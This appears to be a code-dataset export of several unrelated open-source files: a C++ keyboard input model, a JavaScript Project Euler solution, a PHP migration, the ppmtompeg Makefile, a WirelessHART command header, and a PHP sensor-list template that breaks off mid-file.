repo_name
stringlengths
4
116
path
stringlengths
3
942
size
stringlengths
1
7
content
stringlengths
3
1.05M
license
stringclasses
15 values
sangaline/dodona
core/src/InputModels/SimpleGaussianModel.cpp
4337
#include "InputModels/SimpleGaussianModel.h" #include "Keyboard.h" #include "Polygon.h" #include "math.h" #include <cctype> #include <boost/random.hpp> #include <boost/random/normal_distribution.hpp> using namespace std; SimpleGaussianModel::SimpleGaussianModel(double xscale, double yscale, double corr) { ysigma = xscale*0.5; xsigma = yscale*0.5; fixed_length = true; SetCorrelation(corr); } void SimpleGaussianModel::SetCorrelation(double corr) { if(corr < 0) corr = 0; if(corr > 1) corr = 1; correlation = corr; correlation_complement = sqrt(1.0-correlation*correlation); } InputVector SimpleGaussianModel::RandomVector(const char* word, Keyboard& k) { //it's wasteful to remake this every time but I had trouble making it a global member boost::normal_distribution<> nd(0.0, 1.0); boost::variate_generator<boost::mt19937&, boost::normal_distribution<> > normal(generator, nd); InputVector sigma; double lastx = normal(), lasty = normal(); for(unsigned int i = 0; i < strlen(word); i++) { Polygon p = k.GetKey(tolower(word[i])); const double t = p.TopExtreme(); const double b = p.BottomExtreme(); const double r = p.RightExtreme(); const double l = p.LeftExtreme(); if(i > 0) { lastx = lastx*correlation + normal()*correlation_complement; lasty = lasty*correlation + normal()*correlation_complement; } const double x = lastx*xsigma*(r-l) + 0.5*(r+l); const double y = lasty*ysigma*(t-b) + 0.5*(t+b); sigma.AddPoint(x, y, double(i)); } return sigma; } InputVector SimpleGaussianModel::PerfectVector(const char* word, Keyboard& k) { const double tmp_xsigma = xsigma; xsigma = 0; const double tmp_ysigma = ysigma; ysigma = 0; InputVector sigma = RandomVector(word, k); xsigma = tmp_xsigma; ysigma = tmp_ysigma; return sigma; } double SimpleGaussianModel::MarginalProbability( InputVector& sigma, const char* word, Keyboard& k) { if(sigma.Length() != strlen(word)) { return 0; } double probability = 1; for(unsigned int i = 0; i < sigma.Length(); i++) { const Polygon p = k.GetKey(word[i]); const double r = p.RightExtreme(); const double l = p.LeftExtreme(); const double x = sigma.X(i); const double xmu = 0.5*(r+l); if(xsigma > 0) { const double xsd = xsigma*(r-l); probability *= (0.3989422804/xsd)*exp(-0.5*(pow((x-xmu)/xsd,2))); } else { if(xmu != x) { probability = 0; break; } } const double t = p.TopExtreme(); const double b = p.BottomExtreme(); const double y = sigma.Y(i); const double ymu = 0.5*(t+b); if(ysigma > 0) { const double ysd = ysigma*(t-b); probability *= (0.3989422804/ysd)*exp(-0.5*(pow((y-ymu)/ysd,2))); } else { if(ymu != y) { probability = 0; break; } } } return probability; } double SimpleGaussianModel::Distance( InputVector& sigma, const char* word, Keyboard& k) { if(sigma.Length() != strlen(word)) { return 1; } double probability = 1; if(xsigma > 0 && ysigma > 0) { for(unsigned int i = 0; i < sigma.Length(); i++) { const Polygon p = k.GetKey(word[i]); if(xsigma > 0) { const double r = p.RightExtreme(); const double l = p.LeftExtreme(); const double xsd = xsigma*(r-l); probability *= 0.3989422804/xsd; } if(ysigma > 0) { const double t = p.TopExtreme(); const double b = p.BottomExtreme(); const double ysd = ysigma*(t-b); probability *= 0.3989422804/ysd; } } } return (probability - MarginalProbability(sigma, word, k))/probability; } double SimpleGaussianModel::VectorDistance(InputVector& vector1, InputVector& vector2) { double d2 = 0; for(unsigned int i = 0; i < vector1.Length(); i++) { d2 += pow( vector1.X(i) - vector2.X(i), 2) + pow( vector1.Y(i) - vector2.Y(i), 2); } return sqrt(d2); }
gpl-3.0
iansealy/projecteuler
optimal/9.js
1296
#!/usr/bin/env node // Special Pythagorean triplet var SUM = 1000; var triplet = get_pythagorean_triplet_by_sum(SUM); console.log(triplet[0] * triplet[1] * triplet[2]); function get_pythagorean_triplet_by_sum(s) { var s2 = Math.floor(SUM / 2); var mlimit = Math.ceil(Math.sqrt(s2)) - 1; for (var m = 2; m <= mlimit; m++) { if (s2 % m == 0) { var sm = Math.floor(s2 / m); while (sm % 2 == 0) { sm = Math.floor(sm / 2); } var k = m + 1; if (m % 2 == 1) { k = m + 2; } while (k < 2 * m && k <= sm) { if (sm % k == 0 && gcd(k, m) == 1) { var d = Math.floor(s2 / (k * m)); var n = k - m; var a = d * (m * m - n * n); var b = 2 * d * m * n; var c = d * (m * m + n * n); return [a, b, c]; } k += 2; } } } return [0, 0, 0]; } function gcd(int1, int2) { if (int1 > int2) { var tmp = int1; int1 = int2; int2 = tmp; } while (int1) { var tmp = int1; int1 = int2 % int1; int2 = tmp; } return int2; }
gpl-3.0
Aredhele/FreakyMonsters
client/src/Reseaux/RequetePartie/RequetePartie.cpp
215
#include "Reseaux/RequetePartie/RequetePartie.hpp" RequetePartie::RequetePartie(int tailleRequete, int numeroRequete) : Requete(tailleRequete, 0) { numeroRequete = numeroRequete << 3; data[0] = numeroRequete; }
gpl-3.0
allejo/bzion
migrations/20160212221926_nullable_invitation_from.php
396
<?php use Phinx\Migration\AbstractMigration; class NullableInvitationFrom extends AbstractMigration { /** * Migrate Up. */ public function up() { $this->execute("ALTER TABLE invitations MODIFY sent_by INT(10) UNSIGNED DEFAULT NULL COMMENT 'The player who sent the invitation'"); } /** * Migrate Down. */ public function down() { } }
gpl-3.0
fritsche/curso-cuda
labs/netpbm/converter/ppm/ppmtompeg/Makefile
4089
ifeq ($(SRCDIR)x,x) SRCDIR = $(CURDIR)/../../.. BUILDDIR = $(SRCDIR) endif SUBDIR = converter/ppm/ppmtompeg VPATH=.:$(SRCDIR)/$(SUBDIR) include $(BUILDDIR)/config.mk ifeq ($(JPEGLIB),NONE) # 'nojpeg' is a module that implements all the jpeg access routines as # error messages that tell you we don't have jpeg capability JPEG_MODULE = nojpeg JPEGLIBX = else # 'jpeg' is a module that accesses J-movies via the JPEG library. JPEG_MODULE = jpeg JPEGLIBX = $(JPEGLIB) endif COMP_INCLUDES = -I$(SRCDIR)/$(SUBDIR)/headers EXTERN_INCLUDES = ifneq ($(JPEGHDR_DIR),NONE) ifneq ($(JPEGHDR_DIR)x,x) EXTERN_INCLUDES += -I$(JPEGHDR_DIR) endif endif # use -DLONG_32 iff # 1) long's are 32 bits and # 2) int's are not # # one other option: # -DHEINOUS_DEBUG_MODE # MP_BASE_OBJS = \ mfwddct.o \ postdct.o \ huff.o \ bitio.o \ mheaders.o \ MP_ENCODE_OBJS = \ frames.o \ iframe.o \ pframe.o \ bframe.o \ psearch.o \ bsearch.o \ block.o \ MP_OTHER_OBJS = \ mpeg.o \ subsample.o \ param.o \ rgbtoycc.o \ readframe.o \ combine.o \ jrevdct.o \ frame.o \ fsize.o \ frametype.o \ specifics.o \ rate.o \ opts.o \ input.o \ ifeq ($(OMIT_NETWORK),Y) MP_OTHER_OBJS += noparallel.o else MP_OTHER_OBJS += parallel.o psocket.o endif ifeq ($(MSVCRT),Y) MP_OTHER_OBJS += gethostname_win32.o else MP_OTHER_OBJS += gethostname.o endif ADDL_OBJECTS = \ $(MP_BASE_OBJS) \ $(MP_OTHER_OBJS) \ $(MP_ENCODE_OBJS) \ $(JPEG_MODULE).o \ OBJECTS = ppmtompeg.o $(ADDL_OBJECTS) MERGE_OBJECTS = ppmtompeg.o2 $(ADDL_OBJECTS) MP_INCLUDE = mproto.h mtypes.h huff.h bitio.h MP_MISC = Makefile huff.table parse_huff.pl PORTBINARIES = ppmtompeg BINARIES = $(PORTBINARIES) MERGEBINARIES = $(BINARIES) SCRIPTS = .PHONY: all all: ppmtompeg include $(SRCDIR)/common.mk ifeq ($(NEED_RUNTIME_PATH),Y) LIBOPTR = -runtime else LIBOPTR = endif ppmtompeg: $(ADDL_OBJECTS) $(LIBOPT) ppmtompeg: LDFLAGS_TARGET = \ $(shell $(LIBOPT) $(LIBOPTR) $(JPEGLIBX)) $(NETWORKLD) profile: $(ADDL_OBJECTS) $(LIBOPT) profile: LDFLAGS_TARGET = \ -Bstatic -pg \ $(shell $(LIBOPT) $(LIBOPTR) $(JPEGLIBX)) $(NETWORKLD) ######### # OTHER # ######### # # Perl is necessary if you want to modify the Huffman RLE encoding table. # PERL = perl # The following stuff is for the Huffman encoding tables. It's commented-out # because you probably don't want to change this. If you do, then uncommment # it. # # huff.h: huff.c # # huff.c: parse_huff.pl huff.table # $(PERL) parse_huff.pl huff.table MP_ALL_SRCS = $(patsubst %.o, %.c, $(MP_ALL_OBJS)) wc:; wc -l *.[ch] headers/*.h *.pl *.table ci:; ci -l $(MP_ALL_SRCS) $(MP_INCLUDE) $(MP_MISC) tags: $(MP_ALL_SRCS) ctags -t $(MP_ALL_SRCS) etags -f TAGS -t $(MP_ALL_SRCS) headers/*.h # # WARNING: this assumes you're using GNU indent... # indent:; indent -T FILE -T int8 -T int16 -T int32 -T uint8 -T uint16 -T uint32 -T BitBucket -T MpegFrame -T Block -T FlatBlock $(MP_ALL_SRCS) spotless: clean rm -f huff.c huff.h *.pure.a FORCE: # # Copyright (c) 1995 The Regents of the University of California. # All rights reserved. # # Permission to use, copy, modify, and distribute this software and its # documentation for any purpose, without fee, and without written agreement is # hereby granted, provided that the above copyright notice and the following # two paragraphs appear in all copies of this software. # # IN NO EVENT SHALL THE UNIVERSITY OF CALIFORNIA BE LIABLE TO ANY PARTY FOR # DIRECT, INDIRECT, SPECIAL, INCIDENTAL, OR CONSEQUENTIAL DAMAGES ARISING OUT # OF THE USE OF THIS SOFTWARE AND ITS DOCUMENTATION, EVEN IF THE UNIVERSITY OF # CALIFORNIA HAS BEEN ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. # # THE UNIVERSITY OF CALIFORNIA SPECIFICALLY DISCLAIMS ANY WARRANTIES, # INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY # AND FITNESS FOR A PARTICULAR PURPOSE. THE SOFTWARE PROVIDED HEREUNDER IS # ON AN "AS IS" BASIS, AND THE UNIVERSITY OF CALIFORNIA HAS NO OBLIGATION TO # PROVIDE MAINTENANCE, SUPPORT, UPDATES, ENHANCEMENTS, OR MODIFICATIONS. #
gpl-3.0
popstarfreas/PhaseClient
app/node_modules/phasecore/messagetypes/deephistorynewer.ts
199
import ChatMessage from "phasecore/messagetypes/chatmessage"; interface DeepHistoryNewer { discID: number; messages: ChatMessage[]; newestID: number; } export default DeepHistoryNewer;
gpl-3.0
irares/WirelessHart-Field-Device
source_files/WirelessHart/ApplicationLayer/Model/DataLinkLayerCommands.h
18118
/* * Copyright (C) 2013 Nivis LLC. * Email: opensource@nivis.com * Website: http://www.nivis.com * * This program is free software: you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation, version 3 of the License. * * Redistribution and use in source and binary forms must retain this * copyright notice. * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program. If not, see <http://www.gnu.org/licenses/>. * */ #ifndef DLL_LAYER_COMMANDS_H_ #define DLL_LAYER_COMMANDS_H_ #include "CommonTables.h" // assuming the following: // Max. APDU len = 92 (in WirelessHART format) // Max. Data len, for a non-aggregated command response: 92-4=88 #define C783_MAX_SUPERFRAMES_LIST ((88 - 3) / 4) #define C784_MAX_LINKS_LIST ((88 - 5) / 8) #define C785_MAX_NEIGHBORS_LIST ((88 - 5) / 2) // this will restrict the max number of connections per graph to 41 #define C787_MAX_NEIGHBORS_LIST ((88 - 3) / 3) enum { CMDID_C773_WriteNetworkId = 773, CMDID_C774_ReadNetworkId = 774, CMDID_C775_WriteNetworkTag = 775, CMDID_C776_ReadNetworkTag = 776, CMDID_C781_ReadDeviceNicknameAddress = 781, CMDID_C783_ReadSuperframeList = 783, CMDID_C784_ReadLinkList = 784, CMDID_C785_ReadGraphList = 785, CMDID_C786_ReadNeighborPropertyFlag = 786, CMDID_C787_ReportNeighborSignalLevels = 787, CMDID_C788_AlarmPathDown = 788, CMDID_C795_WriteTimerInterval = 795, CMDID_C796_ReadTimerInterval = 796, CMDID_C806_ReadHandheldSuperframe = 806, CMDID_C807_RequestHandheldSuperframeMode= 807, CMDID_C810_ReadJoinPriority = 810, CMDID_C811_WriteJoinPriority = 811, CMDID_C812_ReadPacketReceivePriority = 812, CMDID_C813_WritePacketReceivePriority = 813, CMDID_C819_ReadBackOffExponent = 819, CMDID_C820_WriteBackOffExponent = 820 }; enum { C773_ReqSize = 2, C774_ReqSize = 0, C775_ReqSize = 32, C776_ReqSize = 0, C781_ReqSize = 0, C783_ReqSize = 2, C784_ReqSize = 3, C785_ReqSize = 1, C786_ReqSize = 2, C787_ReqSize = 2, C788_ReqSize = 0, C795_ReqSize = 5, C796_ReqSize = 1, C806_ReqSize = 0, C807_ReqSize = 2, C810_ReqSize = 0, C811_ReqSize = 1, C812_ReqSize = 0, C813_ReqSize = 1, C819_ReqSize = 0, C820_ReqSize = 1 }; enum { C773_RespSize = 2, C774_RespSize = 2, C775_RespSize = 32, C776_RespSize = 32, C781_RespSize = 2, C783_RespSize = 7, // or 11, 15, ... (variable size) C784_RespSize = 13, // or 21, 29, ... (variable size) C785_RespSize = 7, // or 9, 11, ... (variable size) C786_RespSize = 3, C787_RespSize = 6, // or 9, 12, ... (variable size) C788_RespSize = 2, C795_RespSize = 5, C796_RespSize = 5, C806_RespSize = 4, C807_RespSize = 2, C810_RespSize = 1, C811_RespSize = 1, C812_RespSize = 1, C813_RespSize = 1, C819_RespSize = 1, C820_RespSize = 1 }; #define C773_WriteNetworkId_ReqSize C773_ReqSize #define C774_ReadNetworkId_ReqSize C774_ReqSize #define C775_WriteNetworkTag_ReqSize C775_ReqSize #define C776_ReadNetworkTag_ReqSize C776_ReqSize #define C781_ReadDeviceNicknameAddress_ReqSize C781_ReqSize #define C783_ReadSuperframeList_ReqSize C783_ReqSize #define C784_ReadLinkList_ReqSize C784_ReqSize #define C785_ReadGraphList_ReqSize C785_ReqSize #define C786_ReadNeighborPropertyFlag_ReqSize C786_ReqSize #define C787_ReportNeighborSignalLevels_ReqSize C787_ReqSize #define C788_AlarmPathDown_ReqSize C788_ReqSize #define C795_WriteTimerInterval_ReqSize C795_ReqSize #define C796_ReadTimerInterval_ReqSize C796_ReqSize #define C806_ReadHandheldSuperframe_ReqSize C806_ReqSize #define C807_RequestHandheldSuperframeMode_ReqSize C807_ReqSize #define C810_ReadJoinPriority_ReqSize C810_ReqSize #define C811_WriteJoinPriority_ReqSize C811_ReqSize #define C812_ReadPacketReceivePriority_ReqSize C812_ReqSize #define C813_WritePacketReceivePriority_ReqSize C813_ReqSize #define C819_ReadBackOffExponent_ReqSize C819_ReqSize #define C820_WriteBackOffExponent_ReqSize C820_ReqSize #define C773_WriteNetworkId_RespSize C773_RespSize #define C774_ReadNetworkId_RespSize C774_RespSize #define C775_WriteNetworkTag_RespSize C775_RespSize #define C776_ReadNetworkTag_RespSize C776_RespSize #define C781_ReadDeviceNicknameAddress_RespSize C781_RespSize #define C783_ReadSuperframeList_RespSize C783_RespSize #define C784_ReadLinkList_RespSize C784_RespSize #define C785_ReadGraphList_RespSize C785_RespSize #define C786_ReadNeighborPropertyFlag_RespSize C786_RespSize #define C787_ReportNeighborSignalLevels_RespSize C787_RespSize #define C788_AlarmPathDown_RespSize C788_RespSize #define C795_WriteTimerInterval_RespSize C795_RespSize #define C796_ReadTimerInterval_RespSize C796_RespSize #define C806_ReadHandheldSuperframe_RespSize C806_RespSize #define C807_RequestHandheldSuperframeMode_RespSize C807_RespSize #define C810_ReadJoinPriority_RespSize C810_RespSize #define C811_WriteJoinPriority_RespSize C811_RespSize #define C812_ReadPacketReceivePriority_RespSize C812_RespSize #define C813_WritePacketReceivePriority_RespSize C813_RespSize #define C819_ReadBackOffExponent_RespSize C819_RespSize #define C820_WriteBackOffExponent_RespSize C820_RespSize /******************** CMD 773 *************************/ typedef struct { uint16_t m_unNetworkId; }C773_WriteNetworkId_Req; typedef struct { uint16_t m_unNetworkId; }C773_WriteNetworkId_Resp; typedef enum { C773_NOO = RCS_N00_Success, C773_E05 = RCS_E05_TooFewDataBytesReceived, C773_E06 = RCS_E06_DeviceSpecificCommandError, C773_E07 = RCS_E07_InWriteProtectMode, C773_W08 = RCM_W08_NetworkIDChangePending, C773_E16 = RCS_E16_AccessRestricted, C773_E32 = RCS_E32_Busy, C773_E33 = RCS_E33_DelayedResponseInitiated, C773_E34 = RCS_E34_DelayedResponseRunning, C773_E35 = RCS_E35_DelayedResponseDead, C773_E36 = RCS_E36_DelayedResponseConflict, C773_E65 = RCM_E65_InvalidNetworkID }C773_WriteNetworkId_RespCodes; /******************** CMD 774 *************************/ typedef EmptyCommand_Req C774_ReadNetworkId_Req; // empty req typedef struct { uint16_t m_unNetworkId; }C774_ReadNetworkId_Resp; typedef enum { C774_NOO = RCS_N00_Success, C774_E06 = RCS_E06_DeviceSpecificCommandError, C774_E32 = RCS_E32_Busy }C774_ReadNetworkId_RespCodes; /******************** CMD 775 *************************/ typedef struct { uint8_t m_aNetworkTag[32]; }C775_WriteNetworkTag_Req; typedef struct { uint8_t m_aNetworkTag[32]; }C775_WriteNetworkTag_Resp; typedef enum { C775_N00 = RCS_N00_Success, C775_E05 = RCS_E05_TooFewDataBytesReceived, C775_E06 = RCS_E06_DeviceSpecificCommandError, C775_E07 = RCS_E07_InWriteProtectMode, C775_E16 = RCS_E16_AccessRestricted, C775_E32 = RCS_E32_Busy, C775_E33 = RCS_E33_DelayedResponseInitiated, C775_E34 = RCS_E34_DelayedResponseRunning, C775_E35 = RCS_E35_DelayedResponseDead, C775_E36 = RCS_E36_DelayedResponseConflict }C775_WriteNetworkTag_RespCodes; /******************** CMD 776 *************************/ typedef EmptyCommand_Req C776_ReadNetworkTag_Req; // empty req typedef struct { uint8_t m_aNetworkTag[32]; }C776_ReadNetworkTag_Resp; typedef enum { C776_N00 = RCS_N00_Success, C776_E06 = RCS_E06_DeviceSpecificCommandError, C776_E32 = RCS_E32_Busy }C776_ReadNetworkTag_RespCodes; /******************** CMD 781 *************************/ typedef EmptyCommand_Req C781_ReadDeviceNicknameAddress_Req; typedef struct { uint16_t Nickname; }C781_ReadDeviceNicknameAddress_Resp; typedef enum { C781_N00 = RCS_N00_Success }C781_ReadDeviceNicknameAddress_RespCodes; /******************** CMD 783 *************************/ typedef struct { uint8_t m_ucSuperframeIndex; uint8_t m_ucNoOfEntriesToRead; }C783_ReadSuperframeList_Req; typedef struct { struct { uint8_t superframeId; SuperframeModeFlagsMasks superframeModeFlags; uint16_t noOfSlotsInSuperframe; } m_aSuperframes[C783_MAX_SUPERFRAMES_LIST]; uint8_t m_ucSuperframeIndex; uint8_t m_ucNoOfEntriesRead; uint8_t m_ucNoOfActiveSuperframes; }C783_ReadSuperframeList_Resp; typedef enum { C783_N00 = RCS_N00_Success, C783_E02 = RCS_E02_InvalidSelection, C783_E05 = RCS_E05_TooFewDataBytesReceived, C783_W08 = RCM_W08_SetToNearestPossibleValue }C783_ReadSuperframeList_RespCodes; /******************** CMD 784 *************************/ typedef struct { uint16_t m_unLinkIndex; uint8_t m_ucNoOfLinksToRead; }C784_ReadLinkList_Req; typedef struct { struct { uint8_t superframeId; uint8_t channelOffsetForThisLink; uint16_t slotNoForThisLink; uint16_t nicknameOfNeighborForThisLink; // LinkOptionFlagCodesMasks linkOptions; //doinel.alban: flag combinations may be set, too uint8_t linkOptions; LinkType linkType; } m_aLinks[C784_MAX_LINKS_LIST]; uint16_t m_unLinkIndex; uint16_t m_unNoOfActiveLinks; uint8_t m_ucNoOfLinksRead; }C784_ReadLinkList_Resp; typedef enum { C784_N00 = RCS_N00_Success, C784_E02 = RCS_E02_InvalidSelection, C784_E05 = RCS_E05_TooFewDataBytesReceived, C784_W08 = RCM_W08_SetToNearestPossibleValue }C784_ReadLinkList_RespCodes; /******************** CMD 785 *************************/ typedef struct { uint8_t m_ucGraphListIndex; }C785_ReadGraphList_Req; typedef struct { uint16_t m_aNicknameOfNeighbor[C785_MAX_NEIGHBORS_LIST]; uint8_t m_ucGraphListIndex; uint8_t m_ucTotalNoOfGraphs; uint16_t m_unGraphId; uint8_t m_ucNoOfNeighbors; }C785_ReadGraphList_Resp; typedef enum { C785_N00 = RCS_N00_Success, C785_E02 = RCS_E02_InvalidSelection, C785_E05 = RCS_E05_TooFewDataBytesReceived, C785_W08 = RCM_W08_SetToNearestPossibleValue }C785_ReadGraphList_RespCodes; /******************** CMD 786 *************************/ typedef struct { uint16_t Nickname; }C786_ReadNeighborPropertyFlag_Req; typedef struct { uint16_t Nickname; uint8_t NeighbourFlag; // 1 byte, bit0 (Common Table 59) }C786_ReadNeighborPropertyFlag_Resp; typedef enum { C786_N00 = RCS_N00_Success, C786_E05 = RCS_E05_TooFewDataBytesReceived, C786_E65 = RCM_E65_UnknownNickname }C786_ReadNeighborPropertyFlag_RespCodes; /******************** CMD 787 *************************/ typedef struct { uint8_t m_ucNeighborTableIndex; uint8_t m_ucNoOfNeighborEntriesToRead; }C787_ReportNeighborSignalLevels_Req; typedef struct { uint8_t m_ucNeighborTableIndex; uint8_t m_ucNoOfNeighborEntriesRead; uint8_t m_ucTotalNoOfNeighbors; struct { int8_t RSLindB; uint16_t nickname; } m_aNeighbors[C787_MAX_NEIGHBORS_LIST]; }C787_ReportNeighborSignalLevels_Resp; typedef enum { C787_N00 = RCS_N00_Success, C787_E05 = RCS_E05_TooFewDataBytesReceived, C787_W08 = RCM_W08_SetToNearestPossibleValue }C787_ReportNeighborSignalLevels_RespCodes; /******************** CMD 788 *************************/ typedef EmptyCommand_Req C788_AlarmPathDown_Req; typedef struct { uint16_t Nickname; }C788_AlarmPathDown_Resp; typedef enum { C788_N00 = RCS_N00_Success, C788_E16 = RCS_E16_AccessRestricted }C788_AlarmPathDown_RespCodes; /******************** CMD 795 *************************/ typedef struct { uint32_t m_ulTimerInterval; uint8_t m_ucTimerType; // WirelessTimerCode }C795_WriteTimerInterval_Req; typedef struct { uint32_t m_ulTimerInterval; uint8_t m_ucTimerType; // WirelessTimerCode }C795_WriteTimerInterval_Resp; typedef enum { C795_NOO = RCS_N00_Success, C795_EO3 = RCS_E03_PassedParameterTooLarge, C795_EO4 = RCS_E04_PassedParameterTooSmall, C795_E05 = RCS_E05_TooFewDataBytesReceived, C795_E06 = RCS_E06_DeviceSpecificCommandError, C795_E07 = RCS_E07_InWriteProtectMode, C795_W08 = RCM_W08_SetToNearestPossibleValue, C795_E16 = RCS_E16_AccessRestricted, C795_E32 = RCS_E32_Busy, C795_E33 = RCS_E33_DelayedResponseInitiated, C795_E34 = RCS_E34_DelayedResponseRunning, C795_E35 = RCS_E35_DelayedResponseDead, C795_E36 = RCS_E36_DelayedResponseConflict, C795_E65 = RCM_E65_InvalidTimerType }C795_WriteTimerInterval_RespCodes; /******************** CMD 796 *************************/ typedef struct { uint8_t m_ucTimerType; // WirelessTimerCode }C796_ReadTimerInterval_Req; typedef struct { uint32_t m_ulTimerInterval; uint8_t m_ucTimerType; // WirelessTimerCode }C796_ReadTimerInterval_Resp; typedef enum { C796_NOO = RCS_N00_Success, C796_E05 = RCS_E05_TooFewDataBytesReceived, C796_E06 = RCS_E06_DeviceSpecificCommandError, C796_E32 = RCS_E32_Busy, C796_E65 = RCM_E65_InvalidTimerType }C796_ReadTimerInterval_RespCodes; /******************** CMD 806 *************************/ typedef EmptyCommand_Req C806_ReadHandheldSuperframe_Req; typedef struct { uint8_t m_ucSuperframeId; SuperframeModeFlagsMasks m_ucSuperframeModeFlags; uint16_t m_unNoOfSlotsInSuperframe; }C806_ReadHandheldSuperframe_Resp; typedef enum { C806_NOO = RCS_N00_Success, C806_E09 = RCM_E09_NoHandheldSuperframe }C806_ReadHandheldSuperframe_RespCodes; /******************** CMD 807 *************************/ typedef struct { uint8_t m_ucSuperframeId; SuperframeModeFlagsMasks m_ucSuperframeModeFlags; }C807_RequestHandheldSuperframeMode_Req; typedef struct { uint8_t m_ucSuperframeId; SuperframeModeFlagsMasks m_ucSuperframeModeFlags; }C807_RequestHandheldSuperframeMode_Resp; typedef enum { C807_NOO = RCS_N00_Success, C807_E02 = RCS_E02_InvalidSelection, C807_E05 = RCS_E05_TooFewDataBytesReceived, C807_E16 = RCS_E16_AccessRestricted }C807_RequestHandheldSuperframeMode_RespCodes; /******************** CMD 810 *************************/ typedef EmptyCommand_Req C810_ReadJoinPriority_Req; typedef struct { uint8_t JoinPriority; }C810_ReadJoinPriority_Resp; typedef enum { C810_NOO = RCS_N00_Success }C810_ReadJoinPriority_RespCodes; /******************** CMD 811 *************************/ typedef struct { uint8_t JoinPriority; }C811_WriteJoinPriority_Req; typedef struct { uint8_t JoinPriority; }C811_WriteJoinPriority_Resp; typedef enum { C811_NOO = RCS_N00_Success, C811_E05 = RCS_E05_TooFewDataBytesReceived, C811_W08 = RCM_W08_SetToNearestPossibleValue, C811_E16 = RCS_E16_AccessRestricted }C811_WriteJoinPriority_RespCodes; /******************** CMD 812 *************************/ typedef EmptyCommand_Req C812_ReadPacketReceivePriority_Req; typedef struct { uint8_t PacketRecPriority; }C812_ReadPacketReceivePriority_Resp; typedef enum { C812_NOO = RCS_N00_Success }C812_ReadPacketReceivePriority_RespCodes; /******************** CMD 813 *************************/ typedef struct { uint8_t PacketRecPriority; }C813_WritePacketReceivePriority_Req; typedef struct { uint8_t PacketRecPriority; }C813_WritePacketReceivePriority_Resp; typedef enum { C813_NOO = RCS_N00_Success, C813_E05 = RCS_E05_TooFewDataBytesReceived, C813_W08 = RCM_W08_SetToNearestPossibleValue, C813_E16 = RCS_E16_AccessRestricted }C813_WritePacketReceivePriority_RespCodes; /******************** CMD 819 *************************/ typedef EmptyCommand_Req C819_ReadBackOffExponent_Req; typedef struct { uint8_t MaxBackOffExp; }C819_ReadBackOffExponent_Resp; typedef enum { C819_NOO = RCS_N00_Success, C819_E06 = RCS_E06_DeviceSpecificCommandError, C819_E32 = RCS_E32_Busy }C819_ReadBackOffExponent_RespCodes; /******************** CMD 820 *************************/ typedef struct { uint8_t MaxBackOffExp; }C820_WriteBackOffExponent_Req; typedef struct { uint8_t MaxBackOffExp; }C820_WriteBackOffExponent_Resp; typedef enum { C820_NOO = RCS_N00_Success, C820_E03 = RCS_E03_PassedParameterTooLarge, C820_E04 = RCS_E04_PassedParameterTooSmall, C820_E05 = RCS_E05_TooFewDataBytesReceived, C820_E06 = RCS_E06_DeviceSpecificCommandError, C820_E07 = RCS_E07_InWriteProtectMode, C820_W08 = RCM_W08_SetToNearestPossibleValue, C820_E16 = RCS_E16_AccessRestricted, C820_E32 = RCS_E32_Busy, C820_E33 = RCS_E33_DelayedResponseInitiated, C820_E34 = RCS_E34_DelayedResponseRunning, C820_E35 = RCS_E35_DelayedResponseDead, C820_E36 = RCS_E36_DelayedResponseConflict }C820_WriteBackOffExponent_RespCodes; #endif /* DLL_LAYER_COMMANDS_H_ */
gpl-3.0
scratchduino/sdlab-frontend
app/views/sensors/view.all.tpl.php
2954
<div class="col-md-12"> <div class="row"> <div class="col-md-6"> <h1><?php echo L('sensor_LIST'); ?></h1> </div> </div> <div class="row"> <?php if($this->session()->getUserLevel() == 3) : ?> <div class="col-md-4 text-left"> <a href="javascript:void(0)" id="sensors_rescan" class="btn btn-primary"> <span class="fa fa-refresh btn-icon"></span><span class="">&nbsp;<?php echo L('sensor_REFRESH_LIST'); ?></span></a> </div> <?php endif; ?> </div> <?php if(isset($this->view->content->list )) : ?> <br/> <table class="table table-responsive table-condensed" id="sensor_list_table"> <thead> <tr> <th>ID</th> <th><?php echo L('sensor_VALUE_NAME'); ?></th> <th><?php echo L('sensor_VALUE_SI_NOTATION'); ?></th> <th title="<?php echo L('sensor_VALUE_SI_NAME'); ?>"><?php echo L('sensor_VALUE_SI_NSHORT'); ?></th> <th title="<?php echo L('sensor_VALUE_MIN_RANGE'); ?>"><?php echo L('sensor_VALUE_MIN'); ?></th> <th title="<?php echo L('sensor_VALUE_MAX_RANGE'); ?>"><?php echo L('sensor_VALUE_MAX'); ?></th> <th><?php echo L('sensor_VALUE_ERROR'); ?></th> <th><span class="fa fa-tv"></span></th> </tr> </thead> <tbody> <?php $cnt = 0; foreach($this->view->content->list as $sensor_id => $item) : $sensor_name = (string) preg_replace('/\-.*/i', '', $sensor_id); $i = 0; foreach($item->{'Values'} as $sensor_val_id => &$data) : if (strlen($sensor_name) == 0) { continue; } $key = '' . $sensor_id . '#' . (int)$sensor_val_id; ?> <tr class="row-sensor" data-sensor-id="<?php echo htmlspecialchars($key, ENT_QUOTES, 'UTF-8');?>"> <td> <?php echo htmlspecialchars($key, ENT_QUOTES, 'UTF-8');?> </td> <td class="sensor-setup-valname"> <?php echo htmlspecialchars($data->value_name, ENT_QUOTES, 'UTF-8'); ?> </td> <td> <?php echo htmlspecialchars($data->si_notation, ENT_QUOTES, 'UTF-8'); ?> </td> <td> <?php echo htmlspecialchars($data->si_name, ENT_QUOTES, 'UTF-8'); ?> </td> <td> <?php echo htmlspecialchars($data->{'Range'}->{'Min'}, ENT_QUOTES, 'UTF-8'); ?> </td> <td> <?php echo htmlspecialchars($data->{'Range'}->{'Max'}, ENT_QUOTES, 'UTF-8'); ?> </td> <td> <?php echo isset($data->error) ? htmlspecialchars($data->error, ENT_QUOTES, 'UTF-8') : '-'; ?> </td> <td> <span class="glyphicon glyphicon-eye-open sensor-icon-btn" style="cursor:pointer;"></span>&nbsp;<span class="sensor-value"></span> </td> </tr> <?php $i++; $cnt++; endforeach; endforeach; ?> </tbody> <tfoot style="display: none;"> <tr> <td colspan="8" id="sensors_msgs"> <?php if (!$cnt) : ?> <div class="alert alert-info" role="alert"> <span class="glyphicon glyphicon-info-sign"></span>&nbsp;<?php echo L('setup_MSG_NO_AVAILABLE_SENSORS'); ?> </div> <?php endif; 